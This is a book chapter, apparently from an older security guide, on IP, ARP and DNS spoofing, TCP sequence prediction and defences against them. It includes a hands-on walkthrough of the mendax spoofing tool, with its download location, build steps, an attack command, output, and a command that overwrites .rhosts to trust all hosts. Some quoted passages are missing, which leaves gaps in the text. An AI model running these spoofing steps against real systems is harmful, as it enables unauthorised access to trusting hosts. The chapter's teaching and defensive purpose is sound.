Traditional spoofing is when attackers authenticate one machine to another by forging packets from a trusted host. In recent years, this definition has been expanded to cover any method of subverting address- or hostname-based trust or authentication.

This chapter focuses on several spoofing techniques, including

Host-based network access controls are cornerstones of Internet security, although they're manifested differently in different `s. Some are designed to armor a single server, while others, like TCP wrappers, protect several services simultaneously. Finally, a small number of these tools, like firewalls, have a wider scope and protect entire networks.

Overtly, these tools seem very different, for they perform specialized tasks. However, nearly all share a basic characteristic: They rely on the source or IP address as an identifier. For example, many applications have access control files that contain sections like this:

AllowHosts shell.ourcompany.net, 199.171.199.*
DenyHosts bozos.ourcompany.net, 207.171.0.*

Depending on which application you're working with, these directives can screen out entire networks, individual hosts, or occasionally even specific users. Such host-based access controls are pervasive throughout UNIX (and Linux), and countless developers have used them to secure their servers.

It's a funny thing, though: Since 1985, security folks have known that these methods aren't really secure. In that year, Robert Morris (then with Bell Labs) wrote a theoretical paper on the subject titled A Weakness in the 4.2BSD UNIX TCP/IP Software. In it, he explained:

Morris speculated that while the source address was indeed a unique identifier, it wasn't necessarily a reliable one. In fact, he felt that using the source address for authentication represented a serious hole in TCP/IP security:

Nevertheless, despite these warnings, developers incorporated source address-based authentication into many standard UNIX utilities, and such authentication persists even today.

The rhosts system is a good example. You can use the rhosts system to establish a relationship of trust between machines. As explained in an early rhosts manual page:

A sample .rhosts file might look like this:

node1.sams.hacker.net hickory
node2.sams.hacker.net dickory
node3.sams.hacker.net doc
node4.sams.hacker.net mouse

This file specifies that the four machines named (and the users hickory, dickory, doc, and mouse) are trusted. They can therefore access the local machine via r services without being subjected to password authentication.

From this, you might initially conclude that rhosts authentication is easily defeated. (After all, attackers need only forge the source address). However, spoofing is not that simple. The mere fact that source address authentication is flawed does not in itself make IP spoofing possible. Other contributing factors exist, the most important of which is how TCP connections and data transfers are managed.

When a virtual circuit is established, the two hosts must have a common means of verifying that data is in fact being transferred cleanly. Moreover, they need a means of acknowledging this fact and communicating it to one another.

For this, TCP uses sequence numbers. TCP assigns each packet a number as an identifying index. Both hosts use this number for error checking and reporting. In fact, this process of passing sequence numbers begins when the circuit is established. Rik Farrow, in his article titled Sequence Number Attacks, explains the sequence number system:

The attacker is therefore faced with two problems. First, he must forge the source address, and second, he must maintain a sequence dialog with the target. This second task complicates the attack because sequence number exchange isn't arbitrary.

The target sets the initial sequence number, and the attacker must counter with the correct response. This is more difficult than it seems because the attacker never actually receives packets from the target. As explained by Morris:

If the attacker correctly guesses the sequence number, he can synchronize with the target and establish a valid session. From then on, his machine is attached to the target as a trusted host. At that point, the attacker can establish more suitable arrangements (like opening an rhosts entry so he can log in).

There's no substitute for experience, and my explanation is largely academic, so let's run through such an attack right now, step-by-step.

For this example attack, I used mendax.

Application: mendax for Linux

Author: [email protected]!oldphart

Language: C

Required: C, net include files

Location: http://esperosun.chungnam.ac.kr/~jmkim/hacking/1997/11/mendax_linux.tgz

Description: An easy-to-use tool for TCP sequence number prediction and rshd spoofing.

After downloading Mendax, unzip and un-tar it to the directory of your choice. That directory should then contain the following files:

-rw-------   1 mikal    mikal         530 Jun  9  1995 Makefile
-r--------   1 mikal    mikal        2799 Jun 14  1995 README
-rw-------   1 mikal    mikal        1001 Jun  9  1995 arp.c
-rw-rw-r--   1 mikal    mikal           0 Jun 22 00:57 dirmendax.txt
-rw-------   1 mikal    mikal        6988 Jun  9  1995 dnit.c
-rw-------   1 mikal    mikal        1047 May 13  1995 dnit.h
-rw-------   1 mikal    mikal           0 Jun  9  1995 errlist
-rw-------   1 mikal    mikal        1621 Jun  9  1995 ether.c
-rw-------   1 mikal    mikal       13885 Jun  9  1995 main.c
-rw-------   1 mikal    mikal         754 Jun  3  1995 mendax.h
-rw-rw-r--   1 mikal    mikal       81920 Jun 22 00:57 mendax_linux
-rw-------   1 mikal    mikal         700 Jun  9  1995 misc.c
drwx------   2 mikal    mikal        1024 Jul  1  1994 netinet
-rw-------   1 mikal    mikal        2695 Jun  9  1995 packet.c
-rw-------   1 mikal    mikal         405 May 13  1995 packet.h
-rw-------   1 mikal    mikal        1820 Jun  9  1995 socket.c

After verifying that, make the mendax tool:

$ make

This will make a single executable, mendax. To get help on mendax, issue the mendax command without arguments. In response, mendax will print a usage summary:

$ ./mendax
-p PORT       first port on localhost to occupy
 -s PORT       server port on <source> to swamp
 -l USERNAME   user on <source>
 -r USERNAME   user on <target>
 -c COMMAND    command to execute
 -w PORT       wait for a TCP SYN packet on port PORT
 -d            read data from stdin and send it.
 -t            test whether attack might succeed
 -L TERM       spoof rlogind instead of rshd.
 -S PORT       port from which to sample seq numbers.

Now you're ready to try a spoofing attack.

# /etc/hosts.quiv
localhost
172.16.0.3

mv .rhosts .r; echo + + > .rhosts

[root@linux6]# mendax -p 514 172.16.0.3 172.16.0.1 -l mikal -r mikal

flooding source with TCP SYN packets from 143.209.4.3:

sampling sequence numbers...
seq number: 816640001, ack number: 1
seq number: 816704001, ack number: 64001 difference: 64000
seq number: 816768001, ack number: 128001 difference: 64000
seq number: 816832001, ack number: 192001 difference: 64000

using 64000 as prediction difference (3 hits).
spoofing rshd.
resetting TCP target connection: .
resetting source: ....................
[root@linux6]#

$ls -l .r*
-rw-r--r--    1 mikal    user           4 Jun 22 08:31 .rhosts

++

6  Jun 22 08:30:29 GNSS  rshd: [email protected] as mikal

The surest defense against IP spoofing is to avoid using the source address for authentication. Today, there's absolutely no reason for such authentication because suitable cryptographic solutions exist. (In the next chapter, we'll cover one such solution—Secure Shell—in detail.)

Still, this issue has been a source of debate. One often-cited position is that if TCP sequence number generation were strengthened on all affected operating systems, perhaps cryptographic solutions (which can be cumbersome) would be unnecessary.

Unfortunately, that view is unrealistic. No matter what seed source is used, the fact remains that by capturing samples of sequenced numbers, attackers will ultimately determine the base algorithm or other vital information. Steve Bellovin makes that clear in RFC 1948, Defending Against Sequence Number Attacks:

On the other hand, if you have a pressing reason not to institute cryptographic authentication systemwide, you can still take less effective but marginally reliable measures, including

As a closing note, with some effort, you may also be able to detect spoofing through logging procedures (even in real-time). Running a comparison on connections between trusted hosts is a good start. For example, if trusted hosts A and B have a live session, both will show processes indicating that the session is underway. If one of them doesn't, a spoofing attack could be afoot.

ARP spoofing is a variation on the IP spoofing theme and exploits a similar weakness. In ARP, authentication is also address-based. The difference is that ARP relies on the hardware address.

In ARP spoofing, the attacker's aim is to keep his hardware address but assume the IP address of a trusted host. To do so, the attacker sends bogus mapping information to both the target and the cache. From that point on, packets from the target are routed to the attacker's hardware address. The target now "believes" that the attacker's machine is actually the trusted host.

ARP spoofing attacks are limited in several ways. One is that certain intelligent hardware will render such attacks harmless when the packets reach beyond the originating network segment. Moreover, cache entries expire quickly by default (about once every five minutes). Thus, while implementing the attack, the attacker has a limited window of opportunity before he must update the cache again.

-s hostname hardware_address

In DNS spoofing, the cracker compromises the DNS server and explicitly alters the hostname-IP address tables. These changes are written into the translation table databases on the DNS server. Thus, when a client requests a look-up, he or she is given a bogus address. This address would be the IP address of a machine completely under the cracker's control.

The likelihood of this happening is slim, but if it happens, widespread exposure could result. The rarity of these attacks should not be comforting. Earlier in this chapter, I cited a DDN advisory that documented a rash of widespread attacks against DNS machines. Moreover, an important CIAC advisory addresses this issue:

(The previous paragraph is excerpted from the CIAC advisory titled "Domain Name Service Vulnerabilities." It can be found online at http://ciac.llnl.gov/ciac/bulletins/g-14.shtml.)

DNS spoofing has now been automated at least on some platforms. Here are several utilities you can experiment with:

Spoofing has become more popular in recent years. As a result, hackers and crackers alike have developed tools for spoofing all sorts of odd services. Here are several tools that might prove interesting in this regard.

Finally, there are several good documents online that address spoofing attacks:

A Simple TCP Spoofing Attack, Secure Networks, Inc. http://www.tao.ca/fire/bos/old/1/0344.html.

A Weakness in the 4.2BSD UNIX TCP/IP Software, Robert T. Morris. Technical Report, AT&T Bell Laboratories ftp://research.att.com/dist/internet_security/117.ps.Z.

Sequence Number Attacks, Rik Farrow, UnixWorld (http://www.mindrape.org/papers/sequence_attacks.txt).

Security Problems in the TCP/IP Protocol Suite, Steve Bellovin ftp://research.att.com/dist/internet_security/ipext.ps.Z).

Defending AgainstSequence Number Attacks, S. Bellovin, Request for Comments:, 1948, AT&T Research May 1996 http://nic.mil/ftp/rfc/rfc1948.txt.

A Short Overview of , Brecht Claerhout. Excellent freelance treatment of the subject http://sunshine.nextra.ro/FUN/New/hacking/IP-spoof.txt.

Internet Holes—Eliminating IP Address Forgery , Management Analytics http://solaris1.mysolution.com/~rezell/files/text/ipaddressforgery.txt.

Ask Woody Spoofing Attacks about, Bill Woodcock from Zocalo Engineering http://www.netsurf.com/nsf/v01/01/local/spoof.html.

IP-spoofing Demystified Trust-Relationship Exploitation, Michael Schiffman at [email protected] (http://www.fc.net/phrack/files/p48/p48-14.html).

Hyperlink Spoofing: An Attack on SSL Server Authentication, Frank O'Dwyer (Rainbow Diamond Limited). This paper describes an attack on SSL authentication http://www.brd.ie/papers/sslpaper/sslpaper.html.

Web Spoofing: An Internet Con Game, Professor Edward W. Felten, Dirk Balfanz, Drew Dean, and Dan S. Wallach, Department of Computer Science, Princeton University, Technical Report 540-96 http://www.cs.princeton.edu/sip/pub/spoofing.doc.

Spoofing attacks are particularly insidious, they're difficult to detect, and they pose a substantial threat to your system security. Unless you have an excellent reason not to, you should always favor encrypted authentication and session management. That's what the next chapter is all about: protecting your data in transit and achieving safe authentication.